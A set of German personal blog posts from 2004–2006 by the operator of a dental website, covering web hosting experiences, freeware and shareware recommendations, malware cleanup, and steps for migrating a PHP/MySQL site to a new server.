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Gesendet von : Chef Sonntag, 15. Januar 2006 - 13:20 |
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Gestern war mal wieder ein schwarzer Tag für meinen Internet Host Anbieter "Alfahosting". www.zahnfilm.de war über 8 Stunden nicht aufrufbar. Ob dafür ein echter Hardware-Defekt oder ein Software-Crash verantwortlich war, weiß ich nicht. Das ist aber auch prinzipiell unwichtig. Wichtig dagegen ist der Umgang mit dem Kunden. Und da kann ich Gutes berichten: Alfahosting beantwortete bisher jede (!) Meldung oder Frage oder Anregung innerhalb von 1 Stunde. Auch am Samstag und am Sonntag. Das ist der entscheidende Unterschied zu den Großen (Strato, 1 und 1 ...). Es mag sein, dass 1 und 1 eine Ausfallrate von weniger als 1 Stunde im Jahr hat. Aber wenn der Kunde wissen möchte, warum denn momentan gar nix geht, oder ob der sogenannter "safe" Modus für PHP-Scripts ausgeschaltet werden könnte, dann verweisen die Großanbieter auf ihre automatisierten FAQ Bereiche. Eine individuelle Antwort ist da nicht zu bekommen. Und ich war bei beiden Großanbieter über Jahre Kunde, kenne also die Schwierigkeiten mit der Kundenbetreuung ganz gut. Also hier der Werbeblock: wer sich mit dem Gedanken trägt, eine eigene Webseite aufzumachen, die a) günstig (20 Euro im Jahr reichen schon für die meisten Homepage-Ansprüche) und b) deren Host noch wirklich Fragen auch nach dem Vertrag beantwortet, dann schauen Sie doch mal da vorbei.
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Gesendet von : Chef Sonntag, 01. Januar 2006 - 11:52 |
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Schon wieder gibt es gutes umsonst: Apple's iTunes und Picasa von Google. Das Erste ist eine ausgefeilte Musikdateien Datenbank, das Zweite eine idiotensichere Bilderverwaltung. Apple zuerst: iTunes kommt von iPod, der ja bekanntlich der angesagteste MP3-Spieler ist. Apple verdiente sich damit in den letzten 2 Jahren die goldene Nase. Dazu kommen die Profite aus dem Verkauf einzelner Titel und kompletter Alben der gesamten kommerziellen Musikindustrie über das Internet. 99 Dollarcent pro Titel ist offensichtlich für Millionen von Surfern attraktiv. Und zur komfortablen Verwaltung dieser MP3 Dateien (andere komprimierten Formate auch) hat Apple die Software iTunes zum kostenlosen Benutzen im Netz. iTunes kann natürlich alles, was Winamp und Mickisofts Mediaplayer draufhaben. Nur noch wesentlich schneller und eleganter. Die Suche nach einzelnen Worten, Alben, Titeln ist selbst für PC-Hasser ein Vergnügen. Sehr empfohlen. Google hat sich zu Recht überlegt, dass die typischen Bilderverwaltungen wie ACDsee oder Thumbs noch zu viele Benutzereingriffe brauchen, um Bilder zu katalogisieren. Picasa braucht nur gestartet werden. Dann geht die Bildersuche sofort los. Und zwar in einer Geschwindigkeit, die man seinem alten PC-Gaul gar nicht mehr zugetraut hat. Der Schwerpunkt der Software liegt auf dem Bereich Katalog erstellen, ins Internet stellen, Abzüge bestellen und drucken. Es ist keine Software um Bilder zu bearbeiten. Aber für die schnelle Suche nach einem bestimmten Foto ist das ein hervorragendes Werkzeug.
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Gesendet von : Chef Freitag, 30. Dezember 2005 - 14:06 |
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Der PC reagiert plötzlich nicht mehr so richtig. Irgendwie fehlt da die
Puste, es dauert ein paar Zehntelsekunden länger, bis die Software
reagiert. Das kann doch nur bedeuten: neues Ungeziefer hat sich
eingenistet. Wenn dann auch im DOS-Fenster der Befehl "netstat" länger
als 2 Sekunden zur Ausführung braucht und auch noch
merkwürdige Adressen im Internet zeigt, obwohl man gar nicht surft,
dann muss wieder zum E605 (70er Jahre Kampfmittel gegen Läuse, wirkt
auch beim Menschen) gegriffen werden. Zur Zeit hat ein neuer Anbieter "prevx" eine frische Giftmischung für Viren im Internet,
die einfache Ausgabe wird zur Zeit noch kostenlos (incl. automatischem
Update für 1 Jahr) ausgegeben. Die Software hat auf meinem Rechner
prompt 4 Stück Malware aufgetrieben und unschädlich gemacht. Just what the doctor ordered.
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Gesendet von : Chef Samstag, 24. Dezember 2005 - 11:12 |
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In Köln gehen heute - Heiligabend - in der Hohen Straße um 14:00 die
Lichter aus, dafür um 23:00 die Wummeranlage vom E-Werk (Disco) richtig
an. Für die Elterngeneration kommt dann oft eine Zeit, die es
totzuschlagen gilt. Was geht noch, wenn keiner Scrabble mitspielen will? Dafür
gibt es PCs, Mp3 Spielzeug und Digicams. Der ein oder andere Leser
dieser Seiten hat sich schon früh genug damit eingedeckt und kann jetzt
die Tage im Sessel so richtig die Bits und Bytes krachen lassen. Für
dieses Klientel sind hier noch 2 Empfehlungen: - Total Commander.
Das ist ein unscheinbarer Windows Explorer Ersatz (nicht der
Internetbrowser, sondern der "Filemanager"). Die Bedienoberfläche
erinnert zwar gewaltig an Windows 3.1, aber die Effizienz und
Geschwindigkeit kommen aus 8 Jahren Weiterentwicklung . Unter der Haube
verbirgt sich eine enorme Funktionsvielfalt und eine intuitive
Bedienung, die dem Microsoft Produkt fehlt. Alleine schon die
Aufteilung des Hauptfensters in 2 unabhängige Datei- und
Verzeichnislisten ist Gold wert. Haben Sie sich auch schon
öfter darüber geärgert, dass eine einfache Kopieraufgabe an
blödsinnigen Hindernissen im Microsoft Explorer scheitert? Wenn z.B.
ein Bilderordner (von der Digiknipse) von Ort1 unfallfrei zum Ort2
transportiert werden soll, bricht der Microsoft Explorer das Kopieren
ab, wenn eine Datei dabei ist, die gerade offen oder nicht lesbar ist.
Bei 5 Dateien ist das noch egal, aber bei 100.000 von einer Platte auf
eine andere, dann funktioniert der Handbetrieb nicht mehr. Dafür ist
Total Commander geschaffen worden. Der Preis der Shareware in Höhe von
Euro 28,-- ist für die gebotene Leistung voll in Ordnung.
- Pesonal Backup 3.37.
Diese Freeware ist eine ausgewachsene Backup Lösung für automatische
Sicherungen. Die Funktionsvielfalt entspricht denen kommerzieller
Angebote und man fragt sich, wann wohl der deutsche Entwickler die
Reissleine zieht, und Geld haben möchte. Sicherung von Netzlaufwerken,
automatische Umbenennungen, Ausnahmekriterien für nicht zu sichernde
Dateien, einfaches Herein- und Herausnehmen von Unternordnern,
Zeitvorgaben für die Sicherungen etc.. sind alle enthalten. Natürlich
braucht eine solch umfangreiche Software auch eine Einarbeitungszeit.
Wer wichtige Inhalte zuverlässig sichern muss, kommt aber sowieso
nicht darum herum, Zeit in angemessene Backup Lösungen zu investieren.
Hochgradig empfohlen.
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Gesendet von : Chef Montag, 17. Oktober 2005 - 18:09 |
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Hoch die Tassen, heute wurde zum Eintausendsten Mal die Hauptseite Zahnmedizin-Wikipedia aufgerufen, die Untergliederungen wie TMD oder Knirschen schon deutlich öfter. Vielen Dank an alle Leser.
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Gesendet von : Chef Dienstag, 05. Juli 2005 - 21:09 |
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Wer sich mit dem Gedanken trägt, einen nichtstatischen Webauftritt hochzuziehen, z.B. zur Praxiswerbung, der landet schnell bei sogenannten CMSystemen. Das sind in der Regel komplette Softwarepakete, die mit php Scripten und einer Datenbank arbeiten. Damit sind ständig aktualisierte Inhalte der Webseiten zu realisieren, ohne jedesmal tief in die HTML Programmierung einsteigen zu müssen. Nichts ist ja so langweilig, wie eine voll statische Homepage. Diese CMS gibt es inzwischen aus dem GNU Lager (größere Linuxgemeinde) in erstaunlich guter Qualität zum ganz günstigen Kurs, d.h. für lau. Ein Beispiel ist Mambo.
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Gesendet von : Admin Sonntag, 06. März 2005 - 22:58 |
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Wie kann diese Internet Site mit allen Inhalten von Server A nach Server B transferiert werden?
Antwort: Folgende Schritte sind einzuhalten
- Von der MySQL Datenbank "md107deu" muss zuerst ein Backup hergestellt werden. Das geht am einfachsten mit "phpmyadmin". Darin die Datenbank auswählen, auf -> SQL drücken, dann Exportieren und -> Send wählen. Das Backup wird dann im Klartext auf dem gewählten Speicherplatz abgelegt.
- Vom dem HTTP Dokumentenordner "htdoc" braucht es eine komplette Kopie, entweder direkt oder komprimiert, z.B. als tarball. Achtung: das kann durchaus einige hundert MB ergeben.
- Ich gehe davon aus, dass auf dem neuen Server der Apache HTTP Dienst, PHP und MySQL eingerichtet ist.
- Die Dokumente werden jetzt in den vorgesehenen Ordner übertragen, entweder per FTP oder über Kopiersoftware. Dabei ist zu beachten, dass der Dokumentenordner normalerweise auf einem Linux Server liegt, und das Übertragen nur funktioniert, wenn entsprechende Rechte vergeben sind. Im Falle eines Kopierprogramms muss beispielsweise der Ordner auf 777 gestellt werden.
- Nach dem Übertragen der Dokumente in den "htdoc" Ordner müssen alle Dateien und Ordner auf 755 gestellt werden, Hauptordner nicht vergessen.
- Das Backup muss noch auf den neuen Server abgestimmt werden. Dazu lädt man das Backup in einen Textverarbeiter und sucht und ersetzt die alten Absolutpfade mit IP Nummern, durch die neue Adresse. Z.B. suche "10.0.0.25" ersetze mit "192.168.0.61".
Anschließend wird das Backup mit "phpmyadmin" auf dem neuen Server in die Datenbank "md107deu" per Befehl "SQL" eingelesen. Wichtig: der Zeichensatz muss auf Latin stehen, sonst kommen die Umlaute falsch.
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Gesendet von : Saida Mittwoch, 08. Dezember 2004 - 11:39 |
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Gesendet von : Chef Montag, 03. Januar 2005 - 14:19 |
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Gesendet von : Chef Dienstag, 28. Dezember 2004 - 12:25 |
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Für die schnelle Kommandozeilen-Eingabe gibt es hier die Befehle
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